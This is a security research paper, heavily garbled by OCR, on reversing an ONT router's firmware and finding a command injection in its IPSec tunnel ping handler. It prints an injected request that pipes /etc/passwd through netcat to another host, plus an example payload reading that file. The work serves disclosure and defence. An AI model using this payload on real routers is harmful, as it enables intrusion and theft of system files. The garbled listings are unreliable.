Exploit Command Injection Router via
reverse firmware technique - Paper

Submit by: SunCSR (Sun* Cyber Security Research)

Abstract

Router definition:

A router is hardware device designed to receive, analyze and move incoming
packets to another network. It may also be used to convert the packets to another
network interface, drop them, and perform other actions relating to a network.

A router may have interfaces for different types of physical layer connections, such
as copper cables, fiber optic, or wireless transmission. It can also support different
network layer transmission standards. Each network interface is used to enable data
packets to be forwarded from one transmission system to another. Routers may also
be used to connect two or more logical groups of computer devices known as
subnets, each with a different network prefix.
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Router Structure:
Hardware : Linux
Firmware : Software installed base on hardware (Written by C program language)

Reverse firmware

Prepare:

Firmware: Router ONT
Tool: binwalk on Kali Linux, ubidum (https://github.com/nlitsme/ubidump.git), IDA

Extract firmware to binary

1. Using binwalk on Kali Linux 2020.1 to extract firmware

$ binwalk -Me ONT_FIRMWARE

Scan Time: 2020-06-19 03:38:04

Target File: /home/thien/Router/ONT_FIRMWNARE
MD5 Checksum: 8172985efebfe3637a1466d1b5¢cd6911
Signatures: 391

DECIMAL HEXADECIMAL DESCRIPTION
SHA256 hash constants, big endian
131072 @x20000 JFF52 filesystem, big endian
4325376 0=420000 UBI erase count header, version: 1, EC: @=@, VID header offset: 0=800, data offset: 0x1000

$1s

ONT_FIRMWARE

$ cd _ONT_FIRMWARE.extracted/
£ 1s

s

ZBGBB.ijsi 420000.ubi

We have a ubi file (read only file system) and jffs2 file (store volatile variables)
Now, we need extract 420000.ubi file to get binary firmware.
2. Using ubidump tool to extract ubi file to binary firmware
Clone and setup tools:
git clone https://github.com/nlitsme/ubidump.git
pip install -r requirements.txt
Extract firmware to binary:

python3 ubidump.py -d 420000.ubi -s ./
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/home/thien/RR/_Router-0.extracted/ubidump/rootfs_ubifs/

: ¥

bin bootfs data debug dev etc i opt proc sys g var webs linuxrc

Folder rootfs_ubifs is created that contains binary firmware
Firmware analysis

Focus on folder bin which contains executable files of firmware. Here is some
binary files:

/home/thien/RR/_Router-0.extracted/ubidump/rootfs_ubifs/bin/

acsd as bem_boot_launche bem_flasher becmmserver bdmf_shell
:

&
&

acs_cli

%

dnsproxy doc_loadbios dropbearconvert

*

fi

false (4
p

ethswetl flashcp fla se flash_otp_dump flash_otp_info

ftl_format gponctl gpond gponif hotplug hspotap icon_blue_eng.png

Now using IDA to analyse http binary file. Why http? Because http binary file
is to run some web function of router such as: config ip, config dns, manage cronjob,
manage users...

Detect command injection vulnerability

Using IDA to analyse http binary file:
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ﬂ IDA - httpd C\Users\ngo.van.thien'\Desktop\httpd
File Edit Jump Search View Debugger Options Windows Help

Bhie-a g & ) o D@ gt FrF e X p O O |Nodebugger - ’9{_@ EN e

+ i I Y W NI R I
»

Library function [l Regular function [l Instruction Data Unexplored External symbol [l Lumina function

\z Functions window o8 x DA View-A O Hexview-1 A Structures | Enums & Imports
Functich name A LOAD: Bad4pEREE &

e e e e st a s %t
IE _init_proc # | This file was generated by The Interactive Disassembler (IDA) |
E_&Ext # | Copyright (c) 2818 Hex-Rays, <supportfihex-rays.com> |
[F] start # | License info: 48-3015-72F4-DD |

# | Octavian Di personal use |
[F] sub_d090E0 L . | i s - i o
[£] sub_40915C s
E usage # Input 5HA256 : 6D5SAA73A9DB7F79878BBEEL114B581778DESBBAB37(3AASADBELIB55EB155DE9E
[7) terminalSignalHandlerFunc # Input MDS  : B5B62D9GBFAICS44AFECIFG49EI3875E

# Input CRC32 : 3893DBE98

[F] sub_ang32C

|Z| httpd_gets L # File Name : C:\Usershngo.van.thien\Desktop\httpd
|z| send_headers L # Format : ELF for MIPS (Executable)
" L # Imagebase 1 460000
d
lzl i L # Interpreter '/lib/ld-uClibc.so.@’
lzl match_one L # Needed Library 'libcms_dal.so’
E match L. # Needed Library 'libcms_msg.sc'
iz do_file L # Needed Library 'libcms_util.so®
L # Needed Library 'libbcm_crc.so’
lz' getiitlametmmtd L # Needed Library 'libbcm_flashutil.so'
IZ makePathToWebPage L # Needed Library 'libcms_boardctl.so’
Izl sub_409E3C L # Needed Library 'libcrypt.sc.8’
Iz auth_check L # Needed Library 'libcms_core.so'
= = L % Needed Library 'libems_gdm.so'
lﬂ SUh-‘mMEB L # Needed Library 'libnanoxml.so’
IZ web_main 2l L # Needed Library 'libdl.so.®’
< > L # Needed Library 'libgponctl.sc’
Line 428 of 1214 UNENOWN 00400000: LORD:dword 400000 (Synchronized with Hex View-1)

Using search function of IDA to find dangerous function. To detect command
injection vulnerability, we find code that call to system() function. Why we find
system() function? Because the C library function int system(const char
*command) passes the command name or program name specified by command to
the host environment to be executed by the command processor and returns after
the command has been completed.

Address Function Instruction

LOAD:004343C4 bandwith_limit_lan_port bal  bcmSystem

LOAD:0043450C bandwith_limit_lan_port bal  bcmSystem

LOAD:00436298 la 53, system

LOAD:004365F8 la 55, system

LOAD:0044B230 la  %a3, aGetOmciSystemO # "get OMC| system obyj"
LOAD:0044B2A4 la  %a3, aGetOfOmciSyste # "get of OMCI system object failed”
LOAD:O4CTCO cgiStorageServiceView la  %al, aTdClassHdFiles 2"  <td class="hd"> FileSystem </td>\...
LOAD:D0455144 la  5a0, aH1ProcFilesyst # "<h1=/proc/filesystems</h1>\n<pre..
LOAD:00455164 la  %al, aProcFilesystern # "/proc/filesystemns"”

LOAD:00456760 cgiPingTunnel_igd la 50, system

LOAD:D0456764 cgiPingTunnel_igd jalr 519 system

LOAD:00456790 cgiPingTunnel_igd la 50, system

LOAD:D0456794 cgiPingTunnel_igd jalr 519 ; system

LOAD:004567CC cgiPingTunnel_igd la 59, systemn

L OAD:004567D0 cgiPingTunnel_igd jalr  5t9; system

[OAD:O04e50r0 system _system:

LOAD:004650FC system # End of function _system

LOAD:00465820 .cmsDal_setOmeciSystem _cmsDal_setOmciSystem:

LOAD:0046582C .cmsDal_setOmeciSystem # End of function _cmsDal_setOmciSystem

LOAD:OMEETRO .cmsDal_getOmciSystem _cmsDal_getOmciSystem:

LOAD:00MEETRC .cmsDal_getOmciSystem # End of function _cmsDal_getOmciSystem

LOAD:0046813C aOmcisystem_htm:.ascii "omcisystem,html"<0> # DATA XREF: sub_40EDD...
LOAD:004659B2 aGlbrefresh_0: .ascii "glbRefresh”<0> # DATA XREF: bemSystem+3COo
LOAD:00MEABEE aBSystemlogBBrB:.ascii "<b>System Log</b> <br=<brs\n"<0> FDATAX..
LOAD:0046B4D3 alnwalidParamet:.ascii "Invalid parameters”<0> 2 DATA XREF: displaySyste...

cgiPingTunnel_igd() function using system to execute some command that is passed
from user via web interface

Using IDA to find cgiPingTunnel_igd() function definition, it receive input param via
fputs function without any validation.

It related to add, remove or enable/disable IPSec tunnel on router (figure below)
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|UNKNCHN 0045704C: cgiIlPSecView+eC

Input from user via web interface is pass to filllPSeclnfo() function

- 88457830 la t9, fputs

: (] Ta aB, abIpsectunnello ¥ "<bsIPsec Tunnel Mode CONNECTions<7he<br ...
88457 04y jalr t9 ; fputs

- BB4ST7 A48 move a1, $s8

88457 B4C 1w qp, Bx30+uar_20($sp)

884570858 lui af, Bxu48

88457085y 1la t9, fputs

1 8a457 058 la af, anddRemoveOrEna # "Add, remove or enable/fdisable IPSec tun™...
884570850 jalr t9? ; fputs

- @B457860 nove a1, $s8

1 BBL45T7 8oL 1w qp, Bx30+uar_20($sp)

80457068 lui af, Bx48

88457860 1la t9, fputs

1BeLus7 a7 e la af, {(aBrBrCenter+8)

8845787y jalr t9? ; fputs

-BBYS7 078 nove a1, $s8

1 BB4s7 a7c 1w qp, Bx30+uar_20($sp)

88457088 lui af, Ox48

s 88457884 la t?, fputs

00457088 la a@, aTableBorder1_8 # "<{table border='1"' cellpadding="4"' cells"...
2 Jalr TT ; fputs

- @e4s7090 move a1, $s8

1 BBL5T7 894 1w qap, Bx30+uar_20($sp)

88457098 lui af, Bx48

884570890 1la t9, fputs

-8684570A8 1la a@, (aTr_2+08xC)

88457 0AY jalr t9 ; fputs

- BB4S7 BA8 move a1, $s8

88457 BAC 1w qp, Bx30+uar_20($sp)

88457688 lui ag, Bxu48

LOAD : 0456604
LOAD : BO4566D4
LOAD : BO4566DL
LOAD : BOU566D8
LOAD : BOU566D8
LOAD : BO4566D8

addiu  $sp, 0z28

# End of function cgiPrintCertList

LOAD : BO4566D8
LOAD : BO4566D8
LOAD : BO4566D8
LOAD : BO4566D8)

cqgiPingTunnel_igd:

.globl cgiPingTunnel_igd

# CODE XREF: fillIPSecInfo_igd+154p

LOAD : 80456608
LOAD : 00456608
LOAD : 00456608
LOAD : 80456608
LOAD : 00456608
LOAD : 00456608
LOAD : BB4566D8
LOAD : BO4566D8
LOAD : BO4566D8
LOAD : BOU566D8
LOAD : BOU566D8
LOAD : BO4566D8

var_638
var_62C
var_628
var_61C
var_21C
var_1C
var_18
var_14
var_18
var_C
var_8
var_L

-8x630
-@x62C
-0x628
-@x61C
-@x21c
-@x1c
-0x18
-ox14
-oz1@
-@xC

= -8

= -4

LOAD: B04566BL 1u $u1, Bx28+var_C(%sp)

LOAD : 8845668 lu $ul@, {_ stack_chk_guard - BxS39FEC){$u@)

LOAD : 0B4566BC beq $u1, $vB, locret 4566DA

LOAD : BB4566CE 1u $ra, Bx28+var_4($sp)

LOAD : 8845660 1la $t9, _ stack_chk_fail

LOAD : 08456608 jalr $t9 ; _ stack_chk_fail

LOAD : 884566CC nop

LOAD : 88456600

LOAD : 884566D8 locret 4566D8: # CODE XREF: cgiPrintCertList+2CTj

LOAD : 084566D0 jr $ra

LOAD : 084566D4 addiu  $sp, 6x28

LOAD: @84566D4 # End of function cgiPrintCertList

LOAD : 88456604

LOAD : 88456608

LOAD : 88456608 SUBROUTIHNE

LOAD : 88456608

LOAD : 8845660

LOAD : 084566D .globl cgiPingTunnel_igd

LOAD : 884566D8 cgiPingTunnel_igd: # CODE XREF: fillIPSecInfo_igd+154}p
LOAD : 8845660

LOAD: 88456608 var_638 = -@x6308 jalr
LOAD : 80456608 var_62C = -@x62C move
LOAD : BB4566D8 var_ G628 = -ax628 Ju
LOAD : 8B4566D8 var_61C = -@x61c 1w
LOAD : 8B4566D8 var_21C = -@x21cC 1w
LOAD : 884566D8 var_1C = -8z1C la
LOAD : 80456608 var_18 = -Bx18 1w
LOAD : 00456608 var_ 14 = -Bx14 1u
LOAD : 00456608 var_10 = -gz18 bal
LOAD : 084566D8 var_C = -@xC 1w

$t9 ; fprintf

$a1,
$un,
$ap,
$an,
$to,
$a1,
$az,

$s2

ax60+uar_sa(isp
8x68+var_58(3sp
ax18($u0)
Bx4566D8
oxag($uo)
Bx3a($un)

cgiPingTunnel_igd

$a3,

ax1C($ue)

After that, input to pass to system() function to execute command. User input is
passed to %s as a string, and it is used as a part of command.
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[LoAD:BBNS672Y move $s52, $az

%LUHD:BBHS&?28 jalr $t9 ; strtok

[LOAD - 804567 2C move $s3, $a3

[LOAD:BB456730 1w Sqp, Bx64Bruar 628(35sp)
|LoAD:BOYSE73L lui $a2, oxug
!LUHD:BBHS&?SS la $to, snprintf

[LOAD: BBXS67IC move $a3, §s1

ILOAD - BB456740 1i $a1, Bxzu@0

ILOAD - AB4S AT LY la $a2, alptablesTHatIP # "iptables -t nat -1 POSTROUTING -o
ELDHD:BBHSﬁ?us = $s8, Bx640+var_630(3s5p)
[LOAD - BO4567 4C addiu $ald, $sp, Ox64@+var_61C
[LOAD:0B8456750 su $52, Ox64B+var 62C{3sp)
ILOAD - BB456754 jalr $t9 ; snprintf
!LﬂnD:ﬂﬂhBﬁ?Ss move $sh, Sub

[LOAD: 88456750 1w $gp, Oxé4B+uar_628(3sp)
ILOAD - 88456760 la $to, system

ILOAD - 88456764 jalr $t9 ; systenm
ELDHD:BBHS&?&B addiu  $a@, $sp, @x64@+var 61C
[LOAD - BOA5676C 1w Sqp, Bré64B+uar 628(5sp)
|LoAD : BAUS677 0 lui $a2, oxzu8

LOAD - B84567 74 la $t9, snprintf
!LUHD:BBHS&??S 1i $a1, Bzh@0
!LﬂﬂD:ﬂﬂHSﬁ??B 1a $a2, aPings # "ping %s &"
|LOAD :BB456780 move $a3, $s4

ILOAD - B@45678Y4 jalr $t9 ; snprintf
%LUHD:BBHS&?BB addiu $al, $sp, Ox64@+var_61C
|LOAD - 804567 8C 1w $gp, Ox64B+var 628(3sp)
ILOAD - BB456790 1a 5t9, system

ILOAD - BA45679Y jalr $t9 ; system
!LDHD:BBHS&?QS addiu $aB, $sp, Ox64B8+var_61C

IPSec Tunnel allow create an ipsec tunnel on router, before creation, it will ping to
host that user input to check if it is alive or not. Because, %s is passed to function,
SO user can user ; or | to separate command to 2 other command.

Example in normal case:

Uerinputis: 8.8.8.8

The system will executes as bellow:

system (“ping 8.8.8.8")

Example arbitrary command:

Uer input is: 8.8.8.8 | cat /etc/passwd

The system will executes as bellow:

system(“ping 8.8.8.8 | cat /etc/passwd”)

There are two command will be executed here:

ping ping 8.8.8.8 and cat /etc/passwd. User can change cat /etc/passwd to
any command what they want.

Demo

Attack on IPSec Tunnel
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IPSec Settings

IPSec Connection Name
IP Version:

Tunnel Mode
Local Gateway Interface:

Remote IPSec Gateway
IP Address

Tunnel access from local IP addresses
IP Address for VPN
Mask or Prefix Length

Tunnel access from remote IP addresses
IP Address for VPN
Mask or Prefix Length

Key Exchange Method
Authentication Method
Pre-Shared Key

Perfect Forward Secrecy

Using Burpsuite to capture request and edit input:

Request

I

3333

new connection

IPv4 v |

ESP v |

Select interface v

Gateway Address v |
1.1.1.1

Subnet v
2222
255,255 2550

Subnet v

255.255.255.0

Auto(IKE) ¥
Pre-Shared Key v |
key

Disable v |

GET

/ipsec.cmd?action=addiipsTablelndex=0LipsConnNane=newtZ0comnectioniipsConnllame=newt 0connectioniipsIpver=4&ip
sLhocalGuwlf=veipl. laipsTunMode=espiipsPemoteMask="55.255_ 255 0&cipsPemoteMode=gwAddresssipsPRemoteGWAddr=1.1.1._1
&ipsPemoteDomain=&ipslocalIPMode=subnet&ipsLlocallP=2.2.2. Z&ipsLocalMask=255.255.255. D&ipskRemotelPMode=subneté
ipsRemotelP=|cat}Z0/etc/passwd|nci20192 JE0_ 1 ~1-0-0086ipsRenoteMask=255.255. 255, DaipsKeyExM=autosipsAuthM=pr
e_shared key&ipsPSK=keyéipsCertificateName=&ipsPerfectFSEn=disabletipsManualEncryptiondAlgo=3des-cheéipsManual
EncryptionKey=&ipsManualAuthAlgo=hmac-ndS&ipsManualAuthKey=8ipsSPI=101laipsPhlMode=main&ipsPhlEncryptionAlgo=3
des&ipsPhlIntegrityAlgo=nd5&ipsPhlDHGroup=modpl0Z48ipsPhlKeyTine=3c00&8ipsPhlEncryptionAlgo=3desiipsPhiIntegri
tyAlgo=hmac mdS&ipsPhIDHGroup=modpl0Z4&ipsPhlKeyTime=3E004sessionKey=193233554 HTTP/1.1

Host: 192.1€8.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:58.0) Gecko/Z0100101 Firefox/58.0

Accept: text/html,application/xhtmltxml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Peferer: http: //192.1€8.1.1/ipsconfig.html

Cookie: Authorization=Crypt $1$bW¥..BL.$WCqLED541SyLeSdkGQ0iv.

Connection: close

Upgrade-Insecure-Requests: 1

Command will read content 0 etc/passwd file and reverse back to server
192.168.1.2.
And this is result:
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Conclusion

Never trust user input. If your application calls out to the operating system, you need
to be sure command strings are securely constructed, or else you risk having
malicious instructions injected by an attacker. This section outlines a few approaches
to protecting yourself.

Injection vulnerabilities occur when untrusted input is not sanitized correctly. If you

use shell commands, be sure to scrub input values for potentially malicious
characters: ; & | °
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